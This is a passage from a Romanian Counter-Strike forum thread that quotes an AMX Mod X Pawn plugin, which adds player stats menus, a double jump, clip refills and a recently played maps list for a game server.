	menu_additem( HANDLE_MENU, STRING_TEMP, "3", 0 );
	
	static DeathString[16];
	AddCommas(STRING_STATS[ INT_STATS_DEATHS ], DeathString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDeaths: \r%i", DeathString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "4", 0 );
	
	static HeadString[16];
	AddCommas(STRING_STATS[ INT_STATS_HS ], HeadString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHeadshots: \r%i", HeadString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "5", 0 );
	
	static TeamKillString[16];
	AddCommas(STRING_STATS[ INT_STATS_TKS ], TeamKillString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTeam kills: \r%i", TeamKillString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "6", 0 );
	
	static ShotString[16];
	AddCommas(STRING_STATS[ INT_STATS_SHOTS ], ShotString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wShots: \r%i", ShotString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "7", 0 );
	
	static HitString[16];
	AddCommas(STRING_STATS[ INT_STATS_HITS ], HitString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHits: \r%i", HitString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "8", 0 );
	
	static DamageString[16];
	AddCommas(STRING_STATS[ INT_STATS_DAMAGE ], DamageString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDamage: \r%i", DamageString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "9", 0 );
	
	static DefusionString[16];
	AddCommas(STRING_STATS2[ INT_STATS_BOMB_DEFUSIONS ], DefusionString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTotal defusions: \r%i", DefusionString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "10", 0 );
	
	static BDString[16];
	AddCommas(STRING_STATS2[ INT_STATS_BOMB_DEFUSED ], BDString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb defused: \r%i", BDString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "11", 0 );
	
	static BPString[16];
	AddCommas(STRING_STATS2[ INT_STATS_BOMB_PLANTS ], BPString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb plants: \r%i", BPString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "12", 0 );
	
	static BEString[16];
	AddCommas(STRING_STATS2[ INT_STATS_BOMB_EXPLOSIONS ], BEString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb explosions: \r%i", BEString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "13", 0 );
	
	static HDString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_HEAD ], HDString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHead hits: \r%i", HDString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "14", 0 );
	
	static CHString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_CHEST ], CHString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wChest hits: \r%i", CHString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "15", 0 );
	
	static STString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_STOMACH ], STString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wStomach hits: \r%i", STString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "16", 0 );
	
	static LFString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_LEFTARM ], LFString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftarm hits: \r%i", LFString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "17", 0 );
	
	static RHString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_RIGHTARM ], RHString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightarm hits: \r%i", RHString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "18", 0 );
	
	static LHString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_LEFTLEG ], LHString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftleg hits: \r%i", LHString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "19", 0 );
	
	static RHDString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_RIGHTLEG ], RHDString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightleg hits: \r%i", RHDString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "20", 0 );
	
	menu_setprop( HANDLE_MENU, 4, "Exit" );
	menu_setprop( HANDLE_MENU, 3, "Next" );
	menu_setprop( HANDLE_MENU, 2, "Back" );
	
	menu_display( INT_PLAYER, HANDLE_MENU, 0 );
	
	client_cmd( INT_PLAYER, "spk buttons/button9" );
}

public Event_CurWeapon( id )
{
    new iWeapon = read_data(2)
    if( !( NOCLIP_WPN_BS & (1<<iWeapon) ) )
    {
        fm_cs_set_weapon_ammo( get_pdata_cbase(id, 373) , g_MaxClipAmmo[ iWeapon ] )
    }
}

public client_PreThink(id)
{
	if(!is_user_alive(id)) return 0
	new nbut = get_user_button(id)
	new obut = get_user_oldbutton(id)
	if((nbut & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(obut & IN_JUMP))
	{
		if(jumpnum[id] < 1)
		{
			dojump[id] = true
			jumpnum[id]++
			return 0
		}
	}
	if((nbut & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
	{
		jumpnum[id] = 0
		return 0
	}
	return 0
}

public client_PostThink(id)
{
	if(!is_user_alive(id)) return 0
	if(dojump[id] == true)
	{
		new Float:velocity[3]	
		entity_get_vector(id,EV_VEC_velocity,velocity)
		velocity[2] = random_float(265.0,285.0)
		entity_set_vector(id,EV_VEC_velocity,velocity)
		dojump[id] = false
		return 0
	}
	return 0
}	

public plugin_cfg() 
{
    new FisierHartiJucate[64]
    
    get_localinfo("amxx_configsdir", FisierHartiJucate, 63)
    format(FisierHartiJucate, 63, "%s/hartianterioare.txt", FisierHartiJucate)
    
    new Fisier = fopen(FisierHartiJucate, "rt")
    new i
    new Temporar[34]
    if(Fisier)
    {
        for(i=0; i<HartiMaxime; i++)
        {
            if(!feof(Fisier))
            {
                fgets(Fisier, Temporar, 33)
                replace(Temporar, 33, "^n", "")
                formatex(NumeHarti[i], 33, Temporar)
            }
        }
        fclose(Fisier)
    }
    
    delete_file(FisierHartiJucate)
    
    new CurrentMap[34]
    get_mapname(CurrentMap, 33)
    
    Fisier = fopen(FisierHartiJucate, "wt")
    if(Fisier)
    {
        formatex(Temporar, 33, "%s^n", CurrentMap)
        fputs(Fisier, Temporar)
        for(i=0; i<HartiMaxime-1; i++)
        {
            CurrentMap = NumeHarti[i]
            if(!CurrentMap[0])
                break
            formatex(Temporar, 33, "%s^n", CurrentMap)
            fputs(Fisier, Temporar)
        }
        fclose(Fisier)
    }
}

public HartiJucateCuSay(id) {

    new HartiAnterioare[192], n
    n += formatex(HartiAnterioare[n], 191-n, "Hartile jucate anterior sunt:")
    for(new i; i<HartiMaxime; i++)
    {
        if(!NumeHarti[i][0])
        {
            n += formatex(HartiAnterioare[n-1], 191-n+1, ".")
            break
        }
        n += formatex(HartiAnterioare[n], 191-n, " %s%s", NumeHarti[i], i+1 == HartiMaxime ? "." : ",")
    }
    
    
    ColorChat(id, HartiAnterioare)
    return 0
}

show_glow_message(const iPlayer, const cMessage[], iColor, Float:fX, Float:fY, Float:fDuration)
{
    message_begin(8, 51, _, iPlayer);
    write_byte(strlen(cMessage) + 31);
    write_byte(6);
    write_byte(2);
    write_long(iColor);
    write_long(_:fX);
    write_long(_:fY);
    write_long(_:0.1);
    write_long(_:1.5);
    write_long(_:fDuration);
    write_long(_:6.0);
    write_string(cMessage);
    message_end();
    
	return 0;
}

stock AddCommas(Num, Output[], Len)
{
   static Tmp[16], OutputPos = 0, NumPos = 0, NumLen = 0;

   OutputPos = NumPos = 0;

   if (Num < 0)
   {
      Output[OutputPos++] = '-';

      Num = abs(Num);
   }

   NumLen = num_to_str(Num, Tmp, charsmax(Tmp));

   if (NumLen <= 3)
      OutputPos += copy(Output[OutputPos], Len, Tmp);

   else
   {
      while (NumPos < NumLen && OutputPos < Len)
      {
         Output[OutputPos++] = Tmp[NumPos++];

         if (NumLen - NumPos && !((NumLen - NumPos) % 3))
            Output[OutputPos++] = ',';
      }

      Output[OutputPos] = '^0';
   }
}

ColorChat( iTarget, szMessage[ ], any: ... ) 
{
	static szBuffer[ 189 ];
	vformat( szBuffer, 188, szMessage, 3 );
	
	if( iTarget ) 
	{
		message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, iTarget );
		write_byte( iTarget );
		write_string( szBuffer );
		message_end( );
	} 
	else 
	{
		static iPlayers[ 32 ], iNum, i, iPlayer;
		get_players( iPlayers, iNum, "c" );
		
		for( i = 0; i < iNum; i++ ) {
			iPlayer = iPlayers[ i ];
			
			message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, iPlayer );
			write_byte( iPlayer );
			write_string( szBuffer );
			message_end( );
		}
	}
}
Image
Leul si tigru sunt mai puternici ca lupul,dar lupul la circ nu participa.
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 110
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 16:27

Rainq wrote:
27 Sep 2019, 16:25
asta ce vrea sa fie ?

Code: Select all

#include zombie_plague
#include hamsandwich
#include float
#include csstats


#pragma compress 1
#pragma dynamic 8000000
#pragma tabsize 0


#define HartiMaxime   10

#define fm_cs_set_weapon_ammo(%1,%2) set_pdata_int(%1, 51, %2, 4)

const NOCLIP_WPN_BS = ((1<<CSW_HEGRENADE)|(1<<CSW_SMOKEGRENADE)|(1<<CSW_FLASHBANG)|(1<<CSW_KNIFE)|(1<<CSW_C4))

new jumpnum[33] = 0
new bool:dojump[33] = false
new NumeHarti[HartiMaxime][34]


new const g_MaxClipAmmo[] = 
{
    0,
    13, //CSW_P228
    0,
    10, //CSW_SCOUT
    0,  //CSW_HEGRENADE
    7,  //CSW_XM1014
    0,  //CSW_C4
    30,//CSW_MAC10
    30, //CSW_AUG
    0,  //CSW_SMOKEGRENADE
    15,//CSW_ELITE
    20,//CSW_FIVESEVEN
    25,//CSW_UMP45
    30, //CSW_SG550
    35, //CSW_GALIL
    25, //CSW_FAMAS
    12,//CSW_USP
    20,//CSW_GLOCK18
    10, //CSW_AWP
    30,//CSW_MP5NAVY
    100,//CSW_M249
    8,  //CSW_M3
    30, //CSW_M4A1
    30,//CSW_TMP
    20, //CSW_G3SG1
    0,  //CSW_FLASHBANG
    7,  //CSW_DEAGLE
    30, //CSW_SG552
    30, //CSW_AK47
    0,  //CSW_KNIFE
    50//CSW_P90
}

enum 
{
	INT_STATS_KILLS = 0,
	INT_STATS_DEATHS,
	INT_STATS_HS,
	INT_STATS_TKS,
	INT_STATS_SHOTS,
	INT_STATS_HITS,
	INT_STATS_DAMAGE
};

enum 
{
	INT_STATS_BOMB_DEFUSIONS = 0,
	INT_STATS_BOMB_DEFUSED,
	INT_STATS_BOMB_PLANTS,
	INT_STATS_BOMB_EXPLOSIONS
};

enum 
{
	INT_STATS_HIT_GENERIC = 0,
	INT_STATS_HIT_HEAD,
	INT_STATS_HIT_CHEST,
	INT_STATS_HIT_STOMACH,
	INT_STATS_HIT_LEFTARM,
	INT_STATS_HIT_RIGHTARM,
	INT_STATS_HIT_LEFTLEG,
	INT_STATS_HIT_RIGHTLEG
};

public plugin_init( ) 
{
	register_clcmd("say", "CLIENT_COMMAND_HOOK");
	register_clcmd("say_team", "CLIENT_COMMAND_HOOK");
	
    register_clcmd("say /harti", "HartiJucateCuSay")
    register_clcmd("say /last", "HartiJucateCuSay")
    register_clcmd("say /lastmaps", "HartiJucateCuSay")	
	
	register_event("CurWeapon" , "Event_CurWeapon" , "be" , "1=1");
}

public client_putinserver( id )
{
    if( is_user_bot( id ) ) return
    set_task(8.0, "go_info", id )
	jumpnum[id] = 0
	dojump[id] = false	
}

public client_disconnect(id)
{
	jumpnum[id] = 0
	dojump[id] = false
}


public go_info(id)
{
    new stats[ 8 ], body[ 8 ], name[ 32 ], cHostname[513];
    new rank_pos = get_user_stats( id, stats, body )
    new rank_max = get_statsnum( )
    static cBuffer[513];
    get_user_name( id, name, 31 )	
    get_cvar_string("hostname", cHostname, 512);
	formatex(cBuffer, 512, "Welcome, %s^nWe hope you enjoy you stay here!^n^n%s^n^nYour rank is %d from %d", name, cHostname, rank_pos, rank_max);
	show_glow_message(id, cBuffer, 40960, 0.02, 0.21, 10.0);
	return 0;
}

public CLIENT_COMMAND_HOOK( INT_PLAYER ) 
{
	static STRING_ARGUMENT[ 11 ];
	read_argv( 1, STRING_ARGUMENT, charsmax( STRING_ARGUMENT ) );
	
	// TOP
	if( equali( STRING_ARGUMENT, "top", 3 ) || equali( STRING_ARGUMENT, "/top", 4 ) ) 
	{
		new HANDLE_MENU = menu_create( "Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < 360 )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = 360;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			static KillString[16], DeathString[16];
		
			AddCommas(STRING_STATS[ INT_STATS_KILLS ], KillString, 15);
			AddCommas(STRING_STATS[ INT_STATS_DEATHS ], DeathString, 15);
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wKills: \r%s \wDeaths: \r%s", STRING_NAME, INT_VARIABLE2 + 1, \
			KillString, DeathString );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// RANK
	if( equali( STRING_ARGUMENT, "rank" ) || equali( STRING_ARGUMENT, "/rank" ) ) {
		new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ];
		INT_RANK_POS = get_user_stats( INT_PLAYER, STRING_STATS, STRING_BODY );
		get_user_name( INT_PLAYER, STRING_NAME, charsmax( STRING_NAME ) );
		
		static RankString[16], StatsString[16], DeathString[16], KillString[16];

		AddCommas(INT_RANK_POS, RankString, 15);
		AddCommas(get_statsnum( ), StatsString, 15);
		AddCommas(STRING_STATS[ INT_STATS_KILLS ], DeathString, 15);
		AddCommas(STRING_STATS[ INT_STATS_DEATHS ], KillString, 15);
		
		ColorChat( 0, "^x01Player^x03 %s^x01's rank is^x04 %s^x01/^x04%s^x01 with^x03 %s^x01 kills and^x03 %s^x01 deaths", STRING_NAME, \
		RankString, StatsString, DeathString, KillString );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// STATSME
	if( equali( STRING_ARGUMENT, "statsme" ) || equali( STRING_ARGUMENT, "/statsme" ) ) {
		new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_TEMP[ 128 ], STRING_STATS2[ 4 ];
		INT_RANK_POS = get_user_stats( INT_PLAYER, STRING_STATS, STRING_BODY );
		get_user_stats2( INT_PLAYER, STRING_STATS2 );
		
		new HANDLE_MENU = menu_create( "Rank", "FUNC_MENU_HANDLER" );
		
		static RankString[16];
		AddCommas(INT_RANK_POS, RankString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRank: \r%s", RankString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "1", 0 );
		
		static KillString[16];
		AddCommas(STRING_STATS[ INT_STATS_KILLS ], KillString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wKills: \r%s", KillString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "2", 0 );
		
		static DeathString[16];
		AddCommas(STRING_STATS[ INT_STATS_DEATHS ], DeathString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDeaths: \r%s", DeathString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "3", 0 );
		
		static HeadString[16];
		AddCommas(STRING_STATS[ INT_STATS_HS ], HeadString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHeadshots: \r%s", HeadString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "4", 0 );
		
		static TeamKillString[16];
		AddCommas(STRING_STATS[ INT_STATS_TKS ], TeamKillString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTeam kills: \r%s", TeamKillString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "5", 0 );
		
		static ShotString[16];
		AddCommas(STRING_STATS[ INT_STATS_SHOTS ], ShotString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wShots: \r%s", ShotString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "6", 0 );
		
		static HitString[16];
		AddCommas(STRING_STATS[ INT_STATS_HITS ], HitString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHits: \r%s", HitString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "7", 0 );
		
		static DamageString[16];
		AddCommas(STRING_STATS[ INT_STATS_DAMAGE ], DamageString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDamage: \r%s", DamageString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "8", 0 );
		
		static DefusionString[16];
		AddCommas(STRING_STATS2[ INT_STATS_BOMB_DEFUSIONS ], DefusionString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTotal defusions: \r%s", DefusionString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "9", 0 );
		
		static BDString[16];
		AddCommas(STRING_STATS2[ INT_STATS_BOMB_DEFUSED ], BDString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb defused: \r%s", BDString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "10", 0 );
		
		static BPString[16];
		AddCommas(STRING_STATS2[ INT_STATS_BOMB_PLANTS ], BPString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb plants: \r%s", BPString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "11", 0 );
		
		static BEString[16];
		AddCommas(STRING_STATS2[ INT_STATS_BOMB_EXPLOSIONS ], BEString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb explosions: \r%s", BEString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "12", 0 );
		
		static HDString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_HEAD ], HDString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHead hits: \r%s", HDString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "13", 0 );
		
		static CHString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_CHEST ], CHString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wChest hits: \r%s", CHString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "14", 0 );
		
		static STString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_STOMACH ], STString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wStomach hits: \r%s", STString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "15", 0 );
		
		static LFString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_LEFTARM ], LFString, 15);

		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftarm hits: \r%s", LFString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "16", 0 );
		
		static RHString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_RIGHTARM ], RHString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightarm hits: \r%s", RHString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "17", 0 );
		
		static LHString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_LEFTLEG ], LHString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftleg hits: \r%s", LHString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "18", 0 );
		
		static RHDString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_RIGHTLEG ], RHDString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightleg hits: \r%s", RHDString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "19", 0 );
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// STATS
	if( equali( STRING_ARGUMENT, "stats" ) || equali( STRING_ARGUMENT, "/stats" ) ) 
	{
		new STRING_NAME[ 32 ], STRING_TEMP_NUM[ 4 ];
		new HANDLE_MENU = menu_create( "Choose the player", "FUNC_MENU_STATS_HANDLER" );
		
		for( new id = 1; id <= 32; id++ ) 
		{
			if( is_user_connected( id ) ) 
			{
				get_user_name( id, STRING_NAME, charsmax( STRING_NAME ) );
				
				num_to_str( id, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
				
				menu_additem( HANDLE_MENU, STRING_NAME, STRING_TEMP_NUM, 0 );
			}
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// DAMAGE
	if( equali( STRING_ARGUMENT, "damage" ) || equali( STRING_ARGUMENT, "/damage" ) || equali( STRING_ARGUMENT, "/dmg" ) || equali( STRING_ARGUMENT, "dmg" ) ) {
		new HANDLE_MENU = menu_create( "Damage Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < 360 )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = 360;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			static DamageString[16];
			AddCommas(STRING_STATS[ INT_STATS_DAMAGE ], DamageString, 15);
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wDamage: \r%s%", \
			STRING_NAME, INT_VARIABLE2 + 1, DamageString );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// HEADSHOTS
	if( equali( STRING_ARGUMENT, "headshots" ) || equali( STRING_ARGUMENT, "/headshots" ) || equali( STRING_ARGUMENT, "/hs" ) ) 
	{
		new HANDLE_MENU = menu_create( "Headshots Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < 360 )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = 360;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			static HeadString[16];
			AddCommas(STRING_STATS[ INT_STATS_HS ], HeadString, 15);
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wHeadshots: \r%i", \
			STRING_NAME, INT_VARIABLE2 + 1, HeadString );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// EFFECT
	if( equali( STRING_ARGUMENT, "effect" ) || equali( STRING_ARGUMENT, "/effect" ) ) 
	{
		new HANDLE_MENU = menu_create( "Effects Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < 360 )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = 360;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wEffect: \r%2.f%", STRING_NAME, INT_VARIABLE2 + 1, \
			float( STRING_STATS[ INT_STATS_KILLS ] ) * 1.002 / float( STRING_STATS[ INT_STATS_DEATHS ] ) * 1.002 * 30.346647 );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
}

public FUNC_MENU_HANDLER( INT_PLAYER, INT_MENU, INT_ITEM )
	return 1;

public FUNC_MENU_STATS_HANDLER( INT_PLAYER, INT_MENU, INT_ITEM )
 {
	new STRING_COMMAND[ 6 ], STRING_NAME[ 64 ], INT_ACCESS, INT_CALLBACK, INT_VICTIM;
	menu_item_getinfo( INT_MENU, INT_ITEM, INT_ACCESS, STRING_COMMAND, charsmax( STRING_COMMAND ), STRING_NAME, charsmax( STRING_NAME ), INT_CALLBACK );
	INT_VICTIM = get_user_index( STRING_NAME );
	
	if( is_user_connected( INT_VICTIM ) )
		FUNC_STATS_ME( INT_PLAYER, INT_VICTIM );
	
	else {
		ColorChat( INT_PLAYER, "^x01The player you choosed is disconnected!" );
		return 1;
	}
	
	return 1;
}

public FUNC_STATS_ME( INT_PLAYER, VICTIM ) 
{
	new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_TEMP[ 128 ], STRING_STATS2[ 4 ], STRING_NAME[ 32 ];
	INT_RANK_POS = get_user_stats( VICTIM, STRING_STATS, STRING_BODY );
	get_user_stats2( VICTIM, STRING_STATS2 );
	get_user_name( VICTIM, STRING_NAME, charsmax( STRING_NAME ) );
	
	new HANDLE_MENU = menu_create( "Rank", "FUNC_MENU_HANDLER" );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wUser: \r%s", STRING_NAME );
	menu_additem( HANDLE_MENU, STRING_TEMP, "1", 0 );
	
	static RankString[16];
	AddCommas(INT_RANK_POS, RankString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRank: \r%i", RankString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "2", 0 );
	
	static KillString[16];
	AddCommas(STRING_STATS[ INT_STATS_KILLS ], KillString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wKills: \r%i", KillString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "3", 0 );
	
	static DeathString[16];
	AddCommas(STRING_STATS[ INT_STATS_DEATHS ], DeathString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDeaths: \r%i", DeathString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "4", 0 );
	
	static HeadString[16];
	AddCommas(STRING_STATS[ INT_STATS_HS ], HeadString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHeadshots: \r%i", HeadString );
